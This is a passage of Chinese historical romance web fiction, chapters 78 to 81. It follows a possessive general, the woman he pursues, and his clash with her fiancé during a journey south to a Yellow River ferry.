时枫的眼眸洋溢着兴奋的光芒，他快马加鞭，语气中带着一丝急切：“就快到了，再忍耐片刻。”
大约行了几十里的路程，地势逐渐变得陡峭，最终来到了一座山崖前的高台。
男人矫健地跳下马背，转身伸出手臂，眼中闪烁着期待的光芒，“下来，到我怀里。”
苏绾心中忐忑不安，嘴里小声嘀咕：“你不会是在这荒郊野外，暗害我小小弱女子吧？！”
时枫不由分说，掐着她的腰肢将她从马上抱下，横腰抱着她继续前行。
苏绾急得脚踹坚硬如铁的肌肉，惊慌道：“喂，你想把我从这高台上扔下去，让我摔个粉身碎骨吗？”
“闭上眼睛。”男人的声音中带着不容置疑的决绝。
他小心翼翼地跨上高台，轻轻地将她放下，“现在可以睁开眼睛了。”
苏绾依言而行，缓缓睁开了眼睛。
眼前是一幅壮阔的山河图卷。河水浩浩荡荡，气势磅礴，山峦天工开物，鬼斧神工。山间云雾缭绕，绿树葱茏，鸟鸣山更幽。近处渔村野市、水榭亭台、茅庵草舍、水磨长桥，动静结合恰到好处。细节之严谨，堪比王希孟《千里江山图》
千里江山，如此多娇。
苏绾不禁感慨，怪不得古往今来，无数英雄豪杰竞相为之折腰。
从前，她不理解温如初为何费尽心机，不惜一切代价也要夺取那九五之尊的宝座。她以为，那些不过是男人之间的权谋游戏。
然而，目睹秦欢、时枫、萧染等人相继投身于这场所谓的“男人的游戏”，彼此乐在其中，她似乎渐渐领悟到了其中的玄机。
天下熙熙，皆为利来；天下攘攘，皆为利往。那至高无上的皇权，正是世间利益的极致体现。
她之所愿，自己不必沦为他人眼中的猎物，成为众人争夺的战利品。在这权谋的漩涡中，她只求能保持一份清明，不被世间纷扰所裹挟。
突然间，苏绾的右手被人轻轻拉起，指尖传来冰凉的触感。
“是什么？”苏绾本能地想要挣脱，却忍不住抬腕凑近眼前细看。
指间套着一只精致的金指环，中央镶嵌一颗黝黑的宝玉。她轻轻翻转手掌，阳光透过宝石，折射出一片深邃的绿意。
时枫的目光落在自己的脚面，耳朵不自觉地染上了一抹红晕，“本来有一对，可以做成耳珰。但是其中一个，已经被、被我用掉了。”
“你是走街串巷的玉石贩子吗？”苏绾一边调侃他，一边用指腹摩挲着指环。
时枫尴尬地挠了挠头，解释道：“这些都是我在漠南与匈奴王交战时，所缴获的战利品。原石大约有拳头那么大，经过工匠的精心打磨，分成五小块：一块送给时樾打了印章，一块镶嵌在我爹传给我的紫菁宝剑，一块原本嵌在我的束腕，如今已经遗失，一块绑在你送给我的络子，还有一块……”
他的目光落在那顶指环，脸颊如同火烧一般，“送、送给你，留作纪念。”
苏绾摇了摇头，态度十分坚决：“这份礼物太贵重了，我不能接受。”她试图摘下指环。
时枫脸色骤变，嗓音带着一丝嘶哑，“你敢！”
粗犷大手紧紧抓住皓腕，捏着葱指，力度之大以至于纤细的指尖都泛起了白色，“戴上了本将军的东西，你就是本将军的人了，还想摆脱我？绝不可能！”
“苏绾，这一生，我都不会放手。生生世世，你都是我的人！”他的话语中充满了占有和承诺，是誓言，也是宣告。
他咬牙切齿的吐露心声，爱意表达既激烈又粗暴，让苏绾感到浑身不自在，心中暗自嘀咕：这个家伙，怎么这么难相处啊！
苏绾轻声嘟囔：“好啦好啦，我知道了。你快松手呀，捏得人家好疼。”
男人眼中闪过一丝得意，终于放开了手，嘴上仍旧不依不饶：“不许骗我，也不许耍小聪明。我会不定期检查，一旦发现你把它丢了，我绝不饶你。”
苏绾揉搓泛红的手腕，小声抱怨：“真是个霸道的黑狗将军，逼着人家收下你的东西。”
她的话还没说完，忽然感到后脑被一只大手稳稳托住，将她的身体骤然拉近。
男人低下头，浓密的睫毛下目光深邃，“绾绾，我等了你两世，终于等到了你。”
苏绾还在思索他所说的“两世”究竟何意，下一刻，湿润的唇已经覆盖上来，强势的舌尖占领了她的感官。
她起初试图挣扎，很快发现自己根本无力抗拒，那暴风骤雨般的热情，最终放弃了抵抗，任由他尽情征服。
时间仿佛在这一刻凝固。
晨光洒在他们身上，为他们披上了一层金色的光环，两人与周围的壮丽山河融为一体，仿佛成为了一幅永恒的画卷。
下山时，苏绾好奇地问道：“你怎么知道这里有观景台？你不是从未踏足过山东境内吗？”
时枫自信满满地回答：“世间万物，岂能逃过本将军的洞察。”
苏绾翻了个白眼，调侃道：“又开始装神弄鬼了。”
肯定是他昨日狂奔二百里途中偶然发现的。在那种愤怒的情绪驱动下，他竟然还能留意到周围的山水，真不知道他的心思究竟放在了哪里。
她想了想，提醒道：“我们已经耽搁了这么久，还是快点赶路吧。如果晚了，被人发现你擅离职守，那可不是闹着玩的。”
话音刚落，她就后悔了，意识到自己可能又说错了话，可能会激怒他。
果不其然，男人突然沉默，良久。
苏绾见他脸色突变，心中一紧，知道自己的话可能触动了他的逆鳞。她连忙解释道：“我并非有意催促，只是担心你……”
男人却不为所动，脸色阴沉地打断她：“你既如此说，我偏不赶紧回去，偏要逛够了才行。
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”
他抬头望了望天空，时间已是辰时，太阳渐渐毒辣耀眼，阳光洒在大地上，带来了一天中最炽热的时刻。
男人说道：“我累了，找个地方歇脚先。”
苏绾知道，此时再多的争辩也是无益，她只能顺着他的意思，点了点头：“好吧，我们找个阴凉的地方休息一会儿。”
行至几十里路程之后，放眼望去，蜿蜒曲折的古道上，悄然伫立一座驿站。驿站是供传递官府文书和军事情报的人或来往官员，途中食宿、换马的场所。
驿站外墙由青石砖砌就，岁月的侵蚀留下了斑驳痕迹。门前两尊石狮威武地守护，目光蕴含往昔荣光。朱漆大门敞开，门楣之上悬挂风化的匾额，上面镌刻着“平安驿”三个大字，笔锋如刀，透露出庄严肃穆之感。
时枫停步下马，立即上来几名仆役将踏月牵入马厩喂食清理。
身穿深色官服的驿丞，拱手行礼。时枫怀里掏出勘合，交给驿丞查看。
驿丞狐疑地扫了一眼，二人一马形迹可疑，明明自南面而来，如何持有“良”字牌。
朝廷采用“温、良、恭、俭、让”五字作为勘合字号，即官方凭证。
“温”字供衍圣公、张真人在孝陵之间的往来；“良”字供在京官员出差地方所用；“恭”字供地方官员上京使用；“俭”字照顾伤兵及家属抚恤金；“让”字安抚远征兵及属国。
眼前的将军凶神恶煞，身后跟着的女子则是一脸柔弱相。这哪里是随行护卫将军，分明是强占女子的恶霸。
驿丞反复查看勘合，小心翼翼问道：“温侍郎大人南下杭州，途径济南府官道，本驿处在西面辅路，未曾接到任何招待巡抚的通知啊。”
时枫瞥了一眼北面方向，淡淡道：“我自先来开路，扫除一切障碍，确保前程无忧，温大人走另一条官道。”紧接着凤眸一凛，“怎么，不信我？本将军的勘合，难道是假的不成？”
驿丞听过“冷面阎罗”的名号，见他如此说，也不敢再多问，连连点头哈腰，引领二人到一处上房。
室内陈设朴素而实用，没有过多的装饰。房间的北面是一张结实的木床，床上铺着干净的棉被。房间一角设有简易的洗漱架，上面摆放着一盆打好的清水和干净的毛巾，墙上挂着一面铜镜。
时枫将毛巾打湿，递给苏绾，冷冷道：“擦脸。”
苏绾迟疑地接过毛巾，胡乱抹了把脸，她总觉得事情不对劲。
擦完脸，男人又要苏绾脱鞋，端着木盆放在脚边，“洗脚。”
苏绾越发地慌乱，急道：“不是说好扯平了吗？你又要做什么？你敢欺负我，我就喊救命！”
时枫瞪了苏绾一眼，捞着她的腿，脱掉鞋袜，摁着玉足放进盆里。
雪白的脚丫浸在冷水里，一股清凉自脚掌向上蔓延，顷刻解了大半日的劳累。
“从前我急行军的时候，每日最期盼的就是坐下泡脚，简直舒服死了。”男人一边揉搓玉足，一边唠叨不休。
苏绾又怕又羞，又不敢忤逆他，否则不知又要搞出什么幺蛾子来，只好任由他搓磨。
洗漱完毕，男人上手就去解她的衣扣，这下苏绾彻底慌了，躲进木床一角，急道：“不要，我不要。”
惊慌失措的模样，好似受惊玉兔，令时枫忍不住动了凡心，他伸出手指，轻轻捏了捏她的脸颊，柔声道：“我不欺负你，你好好睡觉，有什么事醒了再说。”
好端端让她睡什么觉，必是没安好心。苏绾保持十万分警惕，抱着被子紧盯着时枫。
男人抱着手臂，饶有兴趣地看着她，面颊挂着宠溺的笑意。
大概这一夜发生诸多事，让她太过疲乏，与他对峙了一会，苏绾渐渐阖合眼眸。
时枫哄睡苏绾之后，离开房里叫来驿丞，吩咐道：“你帮我办件事情。”
79. 离别
他在诏狱受罚时，半梦半醒间，恍惚看到苏绾摇曳向他走来。
「瑞雪兆丰年，上元佳节至。
紫禁之巅，银粟纷飞，华灯初上，映雪如昼。
一队宫娥手提琉璃灯，莲步轻挪，袅娜娉婷，走在宫廷夹道。
正碰见凤眸清冽的男人，身著黑色貂裘外氅，英姿飒爽，应邀入宫赴上元筵宴。
宫娥纷纷低身纳福：“奴婢叩拜王爷。”
男人敏锐的目光，一一扫过队伍，骤然落在队末的小宫女身上。她身穿酒红色斗篷，帽遮下灵眸流转，唇红齿白，在一众相貌平平的宫女堆里，显得尤为出类拔萃。
哦，这一次装扮宫女。
男人看破不说破，微微颔首，向外挪了挪身子。
任由她弓着婀娜腰身，像只优雅的玉猫，从他的眼皮子底下轻盈走过，留下一缕淡淡的馨香。雪地上留下浅浅足迹，宛若梅花点点。
男人凤眸沉了沉，饶有兴趣地悄然尾随。
宫娥行至冷宫入口，苏绾停住脚步，向她们摆手，示意其离开。
她独自一人咯吱咯吱踩着积雪，向深宫艰难行进。娇小的身影，藏在酒红色斗篷，显得楚楚可怜。
好几次，时枫都想紧着上前一步，掐着她的腰肢，将小东西抱离积雪的束缚。
男人咬了咬牙，强忍着冲动，目光炯炯盯着前方行路的玉兔。
冷宫栈道伫立一方身影，穿着孔雀翎的斗篷，冷冷清清。
苏绾打眼望见人影，兴奋地加快脚步，边跑边摇手呐喊：“秦欢！”
她两步趸至秦欢跟前，翘脚问道：“你等了多久？”
秦欢抬手掸去她斗篷上的落雪，温声道：“没有很久，你一路行来，冻坏了吧。”
苏绾摇摇头，星眸绽放光彩，“不冷，冻坏了也不怕，秦大夫会治好我的。”
秦欢刮了下她的小鼻梁，“不乖。天寒地冻，偏要跑到我这里来。”
苏绾依偎进秦欢的怀抱，娇声道：“人家思念你嘛～”
一双妙人融为一体。
时枫躲在枯树后面，眼睁睁地看着二人花前月下，卿卿我我，心里止不住地泛酸。
他本来也可以这般甜蜜拥她入怀。
造化弄人。
可他又有什么办法呢？他遍寻宫廷内外，终于找到配得上她的如意郎君，并亲手将秦欢推到她的身边，就为了给她找一个能够依靠的臂膀。
呵呵。
时枫苦笑一声。
作茧自缚。
长夜漫漫，白雪皑皑。」
时枫自梦中醒来，第一反应先是啐了一口，梦里的自己怎么会那般懦弱无能，竟然亲手将她送给别人，真不叫个男人。
待得时枫出了诏狱，跟随大部队南下之后，某日他收到前方小分队传来的消息，信中特意提到“秦欢”的名字，讲秦欢与苏绾联手害死百户长。
那一刻，时枫只觉得全身血液倒流，汗毛根根竖立。梦里的人物角色，居然在现实生活中出现了，而且还与苏绾有着密切的联系。
二百里纵马奔驰的路上，他开始回忆数月来他所做的关于苏绾的那些梦境，渐渐地发现了一些联系和线索。
梦境似乎按照一定的时间与事件发展顺序，娓娓讲述他与苏绾的爱恨情仇。目前已进行到，她与别人缠绵悱恻，他却束手无力的阶段。
也许发生在上一世，又或者另一个时空。以他的认知和能力，暂时无法理解。但他直觉上认为，梦境绝不是空穴来风，也并非凭空虚构，一定有它存在的意义。也许那个世界的“他”，想要通过梦境，传递给他重要的信息和线索。
等到时枫亲眼见到秦欢以后，他更加断定梦境的真实性——因为眼前的秦欢，与梦里的秦欢，长得一模一样。
既然如此，他绝不可能重蹈覆辙，再次将苏绾拱手让人，因此他才顶着巨大风险，非要把苏绾绑在身边不可。
她离开他，哪怕一秒钟，他也不能安心。
时枫出了房间，吩咐驿丞拿来火牌——军事情报专用戡合。又取出金质符牌，此乃京营兵权的象征。
他备好笔墨，书就一封密函，将火牌、符牌、密函一并交给驿丞，让他发往京营，钦点大理寺卿邵云礼接收。
他须做两手准备：
其一，他将京营兵权交由邵云礼手中，请他代为掌管。凡军中之事，非经邵云礼许可，任何人不得擅自调兵遣将，纵是天子亦不得逾越。这是他爹时谦与龙椅上的那位，以血与火铸就的铁券丹书，活着的人不得违背。
其二，让邵云礼深入虎穴，探查秦欢的真面目。据秦欢所言，他与温如初为敌，旨在捍卫家族荣光，这一说法难以自证，其间必有隐情。
倘若他不幸遭遇
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不测，亦须留有后手，以保基业不坠，日后令邵云礼代为雪恨。他还特意嘱托邵云礼，让其将事件始末悉数转告绥靖王时谦。历经俩月波折，尤其是与萧染几次交手之后，时枫愈发觉得时樾之死，与朝廷脱不了干系。
兹事体大，驿丞不敢懈怠，转身正欲退下，忽又被时枫叫住。
“我等下会先行离开驿站，苏姑娘她……”
他停顿了一下，眼神不经意间瞥了一眼上房方向，继续说道：“她醒了以后，尔等须小心伺候，端茶送水、吃喝用度，一项都不得松懈怠慢。知否？”
驿丞点头哈腰，“那是那是。小的绝不敢怠慢苏姑娘。”
时枫又道：“倘若她要出门离去，尔等千万拦着她，就说是遵从我的命令。必要时可将房门上锁，窗户封闭。如果叫她跑了逃了，”
脸色蓦然一沉，“本将军拆了你这平安驿！”
“冷面阎罗”骤然发怒，吓得驿丞浑身颤抖，嘴上连连应承：“是是，小的一定严加看管防范。”
时枫摆摆手，示意驿丞下去。
驿丞小心翼翼告辞，心里不禁暗骂：这人果然是个恶霸，光天化日之下，强取豪夺，囚禁良家妇女。他暗自下决心，回头有机会定要上报此事。
办完这些事，时枫忽然感到身心异常困乏疲惫。他匆匆返回房间，见苏绾睡得安稳，心里这才放松下来。
时枫摊开左腿，搭坐床边，倚靠床头，抱着手臂，闭目养神。
迷迷糊糊刚要约会周公，忽然一条玉腿从天而降，直喇喇踢中他满怀，踹得他陡然自梦中惊醒，一脸的冷汗。
睁开眼睛，白皙的脚丫子在面前晃悠，险些踢中面门。气得时枫抓住玉足揉搓一通，差点搓醒主人。
他手里攥着玉足，想到下一次不知何时还能再见，心里顿生一缕离愁别绪。又想到无论是梦中，还是现世，他都不能自由自在地，与她青杖竹马踏破三千红尘，潇洒江湖十过秋，仇恨才下眉头，却上心头。
男人伤感了一阵，掀眸睇着苏绾的睡颜，越看越欢喜，忍不住爬起身，半跪在床上，轻轻地吻她。
蜻蜓点水的一抹，瞬间起了连锁反应，沿着经脉飞速蔓延扩散，拉扯整颗心生疼。
男人兀自挺起腰，利落翻身下床，夺门而出，吩咐驿丞这般那般，骑上踏月匆匆离开驿站。
（未完待续）
80. 争吵
落日解鞍，官道某驿站。
“报——”
温如初的贴身仆从远舟，一路小跑来到上房，躬身立在门外，“启禀少爷，时将军回来了，正在门庭落马。”
房内孤灯耿耿，桌案前端坐户部侍郎温如初。他年芳廿二，一身月白锦袍，芝兰玉树少年郎，皎皎不受尘泥涴。
如玉公子掀眸睨了门外一眼，“知道了，下去吧。”
远舟旋身离开。
房间一角暗处响起人语：“此时他一个人回来，却没有带上苏绾，明摆着就是要将你往陷阱里引诱，你须小心谨慎为妙。”
温如初淡定道：“不急，我且要看看他唱的是一出什么戏码。鸿门宴，还是瓮中捉鳖？”
桃花眼眸翻了翻，嗤笑道：“左不过路上拦截，给我使绊子。我猜，多半是在前方黄河渡口处，埋伏一两刺客，伺机谋杀我。他的侍卫晴雷，不是没跟着他回来么。”
暗处人影却不敢苟同，“我总觉得，事情有些不对劲，这不符合他的一贯作风。”
“他何必非与你为敌？眼下你是殿前叱咤红人，一味地与你针锋相对，无论是朝堂官场，还是公序良俗，于他都没有任何好处，他也不占口碑。”
“除非……”
温如初接过话茬，“除非，有人急切地想要我死，而时枫不过是做顺水推舟的人情而已。”
暗处人影点点头，“正是如此。”
温如初疑惑道：“可我入仕四年，兢兢业业，不分黑白两道，广结天下英豪，未曾得罪过任何人呀。”
他想了想，补充道：“就连苏绾那个娼妇，我也不曾动过她一根手指头。我对她呵护备至，将她从水深火热的家里拯救出来。我该是她崇拜的神明才对，她恨我什么呢？”
温府那晚所发生的“绑架案”，根本不算僭越与侵犯，顶多就是，他对她的背叛忍无可忍之后，所做的反击，毕竟是她对他不忠在先。
暗处人影思忖半晌，犹豫道：“也许，这一切与你无关……”
“与我无关？”
温如初抬眸望向暗处，微弱的烛火夹杂夕阳余晖，冲淡了人影的存在，映照单薄身影若有若无，好似地狱鬼魅般充满了不真实感。
他对于这一猜测性的结论，完全无法理解；也不明白为何自己从小玩到大的兄弟，对他起了杀心；更不懂几个月前还对他唯命是从的未婚妻，居然勾结了别的男人，图谋解除婚约，离开他的怀抱。
他的确怀有相当多的野心，他并不羞于启齿。但他自认为古今英雄豪杰多半所见略同，这并不妨碍他身边的人。为什么突然间所有人都背叛他，与他为敌？而他却像个傻子一样，高高地坐在宝塔尖上，对前程吉凶一无所知。
这一点让他极为愤慨。
屋内陷入无端的沉默，屋外却忽然响起一阵嘈杂声，随后传来咚咚的脚步声，有人朝着房间方向走来。
暗处人影身子一颤，立即以迅雷不及掩耳之势打开窗户，踩着窗沿飞檐走壁，瞬间沉没于黑暗深渊巨口。
温如初适时站起身，趸步行至门前，侧耳倾听屋外动静。
不多时，门外响起深沉的声音：“见我回来，你也不说出门迎接我，越来越不把为兄当回事了。”
温如初额首青筋跳了跳，他深吸口气，换作一副笑颜，展开宽大袍袖，伸手打开房门。门外阴风切切，冷不防被一股寒冷气息扑了满面。
“阿欠。”温如初受那股莫名寒意刺激，忍不住打了个喷嚏。
“瞧榆白这话说的，也忒伤人心。”他一边掏出汗巾捂住口鼻，一边囫囵说道：“我这不是感染了风寒嘛，怕传染给你，刻意躲着不见人。你倒好，跑过来抓我的话柄，好心当成驴肝肺。”
时枫剪着手臂，带着威严的气势，挤过温如初的肩膀，兀自踏入房内。敏锐鹰眼逡巡四周，寻找可疑的蛛丝马迹。
扫了几眼未果，时枫一屁股坐进椅内，伸出两条大长腿，交叠搭放案边。两手抱臂交叉胸前，咬了咬干涸的嘴唇——光顾着风尘仆仆赶路，连口水还没来得及喝上。
他抬起凤眸，冷冷道：“我不在的时候，可有变故发生？”
温如初冷眼睇着男人这一系列动作，全程见怪不怪，他上前两步，端起桌案茶壶，翻出一只新杯，斟满茶水，单手递给时枫，温声笑道：“我能有何变故？此行南下，最大的变故，不就是你嘛，时将军。”
一语道破天机。
温如初擅长以温文尔雅的态度，在朝堂之上舌战群儒，大杀四方。
从前时枫还不觉得如何，只当是他温念一贯如此的表现。如今不知是自己心虚还是怎么着，看他这副温润如玉的模样，简直让人毛骨悚然。
“笑面虎”的威慑力，远远大于“恶罗刹”。
时枫接过茶盏，杯内水已温凉，他咕噜几下豪饮一空，随手将茶盏丢掷案边，没好气似地抱怨道：“我怎么了？不就是替你去前方探路了么。你当我这随行护卫吃白饭？尸位素餐的龌龊事，本将军可干不出来！我这一路跋山涉水，也没人问候我一声累不累，我才是好心当成驴肝肺。”
“哦？竟然还是我的不对。”温如初桃花眼眸闪了闪，笑道：“那么时将军此行探路，可有收获？”
时枫嘴角斜了斜，“当然。”
摩挲束腕间镶嵌的绿松石，漫不经心道：“我替你，寻回了未婚妻。你可知道？”
温如初眼角抽动了一下，对方竟然不按常理出牌，大大出乎意料。倘若时枫一口咬定自己未见苏绾，他立即拿出证据，狠狠摔在他脸上，再治其假公济私的罪名，御前告他一状。谁知对方完全不接招，还抢先主动揭露事实真相，让他瞬间掉落入被动局势。
太小看他了。
温如初袍袖一甩，横眉冷目，“你还有脸承认？天下皆知，你对我的妻，起了觊觎之心。背后插刀，横刀夺爱。你、你好大的胆子！”
“我对你冰心玉壶，肝胆相照，处处照会你，忍耐你的臭脾气。京城谁人不知，谁人不晓。可你呢？你又是怎么对我的？”
“你骑到我的脖子上来，公然对我进行羞辱挑衅。你真当我拿你没办法？我那是对你念旧情！要不是看在咱们二十年兄弟情谊的份上，我一早将你告上金銮殿。”
灯火映着温如初惨白的面颊，显得他越发憔悴忧郁，全无往昔意气风发，峥嵘岁月之色。
倒显得时枫，是个背信弃义的小人。
倘若今生没能遇见苏绾，他与温如初之间，毫无疑问，根本不会走到破裂地步。
可谁让他被苏绾那个蛇蝎美人彻底降服了呢，他心甘情愿沦为裙下臣。为心爱之人两肋插刀，本就是天经地义。天王老子来了，他也理直气壮。
又或者按上一世论，苏绾之所以沉沦堕落，还不都是温如初造成的？对方才是罪魁祸首，万恶之源，轮不到一个恶鬼来指责自己的过错。
时枫问心无愧。
男人嗤笑一声，“你的妻？不要忘了，你们尚未成亲。一纸婚约，随时取缔，没有任何束缚力。你当是户部尚书梁才，与殷
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潜布政使合力保荐，圣上亲笔赐婚，就是板上钉钉了吗？笑话！我也可以请人推荐，以我的军功来恳求圣上，重新考虑赐婚，圣上未必拒绝我。皇储尚可立了再废，我与她，男未婚，女未嫁，有何不可？”
他放下双腿，坐正身子，正色道：“我今日过来与你对话，不是要向你请求谅解，也并非想跟你握手言和。我是要让你知道，苏绾，我娶定了。”
“你同意也好，反对也罢，本将军并不在意。念在旧日兄弟情分，我尚且知会你一声，不要做我的绊脚石，否则我对你不客气！”
啪的一下，拳头砸向桌案，震荡案边笔墨纸砚摇晃，不明就里的还以为是地动。
温如初桃花眼眸翻了翻，眸底泛出一层狠戾之色，再也不藏着掖着，全然换了阴冷表情。
月白锦袍一甩，如玉公子狠声道：“很好！时榆白，你敬酒不吃吃罚酒，既已撕破脸皮，我也不必再照顾你的颜面。你不是想娶苏绾？有我温如初在朝一日，你便得不到任何机会，我不会让你得逞的。”
“真当自己天不怕地不怕，天塌下来有你爹绥靖王撑着？试问一句，朝野上下，有谁在乎一个‘罪王世子’。你怕是不知道吧，朝廷就没想让你活太久！我告诉你，早晚有一天，时家会彻底倒台，以罪人身份淹没于史书角落。”
“率土之滨，从来没有属于姓时的那一份，从前如此，现在如此，将来亦如此！”
他这一席话，看似激愤脱口而出，实则充满了阴谋的味道，尤其是在时枫已经知晓，关于温如初密谋阁老害死时樾的真相之后。
萧染所言，句句属实。
真相其实很简单，清晰明了，很好。
下一步，就是要查清，朝廷谋害时家的真正原因。以及温如初在其中，究竟扮演了什么角色。
据梦中所述，“他”听信了温如初的谎言，误以为阁老出于私心，为夺权而设计害死时谦时樾。而他也亲手斩杀阁老，得以为父兄报仇雪恨。
看似圆满成功，但那只是上一世的轮回，未必就是这一世的因果报应。而且他私以为，梦里的那个“他”，受人愚弄，混淆是非，做了错误选择，造成终身遗憾，是以才会托梦给他，目的就为拜托他查清楚事情真相。
所以他才会夜半造访温如初，故意出言不逊激怒对方，就为了套取有利用价值的线索。他拿准了温如初不知道自己暗中探察时樾死因，否则也不会从头到尾都没提过关于萧染的一句话。
此行不虚。
时枫撇撇嘴，揶揄道：“真是笑死人了。你一个‘翰林独苗’，一路靠着阿谀奉承，溜须拍马混到高位，又能比谁的屁股更干净？江山当然不属于时家，可也不属于你，我的侍郎大人。”
他起身站起，抖抖玄色衣袖，一脸得意道：“我已秘密差人将苏绾送往京城，你莫要对她再起强占的心思，对谁都没有好处。此行南下，只好委屈你一下，与我这个‘罪王世子’常相伴左右。反正我的任务，也只是护送你到杭州而已，又不是为你寻找未婚妻。”
言毕，再次挤过温如初的肩膀，决绝甩袖夺门而出。
气得温如初拾起案边的茶盏，咣当一下掷地有声。又不解恨，干脆将茶壶一应掷了，溅得满地洇湿。
远舟连忙赶上前，一边收拾现场，一边招呼仆役打扫干净。
满地碎矶，破镜难圆。
一如他与时枫的兄弟情谊，终将随风而逝。
温如初咬了咬牙，耳语吩咐远舟道：“转告先生，渡河之时，大计业成。”
81. 登船
鱼笺雁书，星奔川骛。
经过了两日的长途跋涉，南巡队伍终于抵达黄河泺口渡。
温如初似乎并不急着赶路，他在驿站延迟了大半日，附近游山玩水，赏月观花，优哉游哉，不亦乐乎。惹得时枫整日阴沉着一张黑脸，走路都带着劲劲冷风。
自从经历了那晚争吵以后，俩人开启了新一轮的冷脸竞争，谁都不跟谁说话。夹道相逢时，彼此都转过头去，互相嗤之以鼻。
时枫唯恐苏绾在驿站里等不及，再闹出点什么乱子。那个疯婆娘，绝对是天底下最不听话，脾气最倔，最爱跟他对着干的人。他一边日思夜想怀念她，另一边又担心她吃不好睡不好，再生出病来。各种情绪堆积在心里，不得抒发排解，每日里唉声叹气，可又拿任何人都没办法。
好不容易挨到渡口北岸，时枫总算能找到机会外出透透气。他打着探路的名义，纵马来到船埠，照旧将踏月栓到一棵枣树前，自己下马四处巡察。
上次来时，天色已趋近傍晚，再加上他心急如焚，也没能静下心来欣赏周遭景色。
七月的黄河渡口，骄阳似火，河水滚滚东流。两岸柳树低垂，绿荫下是往来的客商和行人，他们或挑着担子，或牵着马匹，脸上挂着汗水和对旅途的期待。
官渡旌旗招展，船只排列有序，官差们身着制服，指挥渡河的秩序。船夫们赤膊上阵，号子声声，将沉重的货物搬上船板，稳稳地驶向对岸。
民渡则更显热闹，小贩叫卖声此起彼伏，商埠里各色货物琳琅满目，从江南的丝绸到塞北的皮草，一应俱全，应有尽有。
渡口边茶馆酒肆林立，客人们或歇脚或交易，个个谈笑风生。忙碌的工人穿梭其间，肩挑手扛，汗水浸透了衣衫，干脆脱下露出矫健的肌肉。偶尔一队马帮缓缓行来，铃铛声清脆，为这繁忙的渡口增添了几分异域风情。
按照秦欢与他之前的约定，山东境内三个渡口的所有往来船只，无论属于官渡民渡，全部都在秦欢掌控之中。这一举措看似简单易行，实则揭露出秦欢强大的关系网与控制力。
缔造这种程度的关系网络，绝非一朝一夕达成，须得经过数年周密的筹谋划策，身边还要有得力的助手辅佐之。
这其中小侯爷萧染，便是第一颗棋子。
目前他尚未梦到过有关萧染的信息，因此对于秦欢如何拉拢的萧染，尚且不明。但他相信，萧染在整个事件策划中，起了决定性的作用。
“毒蛇堂”乃漕帮，自古以来便控制全国的漕运命脉。官渡民渡，黑白两道，都逃不过与毒蛇堂打交道的命运。胆敢夸下海口，声称掌控齐鲁漕运权，绝非一件容易之事。
他有理由怀疑，秦欢从一开始就做好了万全准备，在黄河渡口与温如初一决高下。
问题是，秦欢如何精准算到这一步？
最早是在去年年底，皇帝允了温如初下杭州监察茶叶税收的请求，这才开始了南下的筹备。
倘若温如初根本不打算南下杭州，那秦欢在黄河渡口布阵列兵，岂不完全失去了意义？
正犹豫间，忽然旁边有人打招呼：“官爷，可要摆渡？”
时枫抬首一看，面前之人四十岁左右，下巴一缕山羊胡，眼神提溜乱转，显得精明能干。
时枫不耐烦地摆摆手，“没兴趣。”
温如初绝不可能登上他所预备的渡船，因此他也懒得过问促成此事。
爱上哪条船，就上哪条船。
他只答应了，堵住猎物的逃路，可不负责设计陷阱引蛇出洞——那是秦欢的买卖。
谁知山羊胡神秘道：“官爷，我们家的船只，跟别家不一样，我们有人。”
时枫一听，便知对方有猫腻，心想：秦欢啊秦欢，原来你就这点本事。光天化日往他怀里递情报，一点暗探的职业素养都没有。
可他偏不买账，蓦然脸色一沉，嗔道：“有什么人？难道你想密谋造反不成？好大的胆子！不怕本将军拿了你送大牢？”
山羊胡不急不躁，嘿嘿一笑，低声道：“此人来自平安驿……”
话声刚落，男人猛然伸手，迅雷不及掩耳之势掐住山羊胡的喉咙，手臂青筋爆裂，将对方生生提高离地半寸距离。
男人恶狠狠道：“你再说一次！”
山羊胡面皮涨得通红，渐渐变成紫色，他拼命挣扎捶打，声音嘶哑道：“小、小的不敢诓骗官爷……”
时枫道：“人现在哪里？”
山羊胡道：“在、在颜家野渡。”
时枫命令道：“带我去找他。”
山羊胡道：“好、好。”
时枫见他答应得干脆，也便顺势放松警惕。
谁知甫一释放手指，但见山羊胡拔腿向后一跳，像只水耗子一样滋溜钻进人群，顷刻间人影全无。
男人急了，疾步上前伸手去抓，却只抓了一个又一个无辜面孔。
他障袂极目远眺，拼命搜寻可疑痕迹。
此人衣着朴素，相貌平平，与普罗大众毫无不同。男人敏锐的鹰眼，此时也失去效力，茫茫人海中遍寻不到踪迹。
剩下时枫鹤立鸡群。
她出事了。
他的心里七上八下，充满了不祥的预感。他不断地告诉自己，不会有事的，她不会有事的。可那可怕的思想一旦形成，再想从脑袋里排挤出去，难于上青天。
温如初见到他时，时枫像一棵饱受风霜摧残的枯树，直立在太阳底下，灵魂已然飘出身外。
温如初感到有些意外，桃花眼眸剪了剪，揶揄道：“难得出去透透气，怎么回来一具空壳。”
时枫低下头，茫然道：“你说什么？”
车水马龙，人流如织。
渡口驿站内，温如初坐在楠木椅休憩，衙役送上一盏趵突泉水沏泡的春茶。
驿丞弓着腰，问道：“大人，官渡已准备完毕，随时可启程出发。”
温如初呷了一口温茶，阖眼冥思一阵，掀眸道：“可有其他渡口？”
驿丞眨巴眨巴眼，连声道：“有、有的，稍候片刻。”
不多时，案前摆放几块木牌，上面写着“官渡”，“民渡”，“野渡”等字样，且都标注了船家姓名。
驿丞一一介绍道：“泺口的船户大部分都在这里，全部经过府衙审核，符合官渡标准要求。请大人随意挑选，挑中哪家，下官即刻发布公告，以防有人投机取巧。”
温如初瞥了一眼立在前庭的时枫，但见他眉头紧锁，眼神不住地逡巡，似乎在寻找什么。
温如初沉吟片刻，将盛放木牌的金碟向前推了推，吩咐道：“拿去给时将军看看。”
时枫此刻正忙于在人群中寻找山羊胡，对方既然提到“平安驿”，势必冲着南巡队伍而来，则必会前来投标摆渡。可他仔细搜寻七八十个来回，也未曾发现山羊胡的踪影。
他感觉事情有些不对劲。
倘若这一切都是秦欢事先安排好的计划，旨为引诱他上钩，那他岂不是自投罗网？
驿丞端过金碟呈上，“请将军过目。”
时枫扫了一眼金碟，敏锐的目光立即落在其中一枚木牌之上，上面写着“野渡，颜家”字样——他依稀记得山羊胡似乎曾经提及这四个字。
时枫沉思半晌，拈起木牌，交给驿丞。
驿丞唱道：“将军选了颜家野渡。”
温如初掀眸凉凉睇着立在前庭的男人，嘴角浅浅勾起，“诚然如此。”
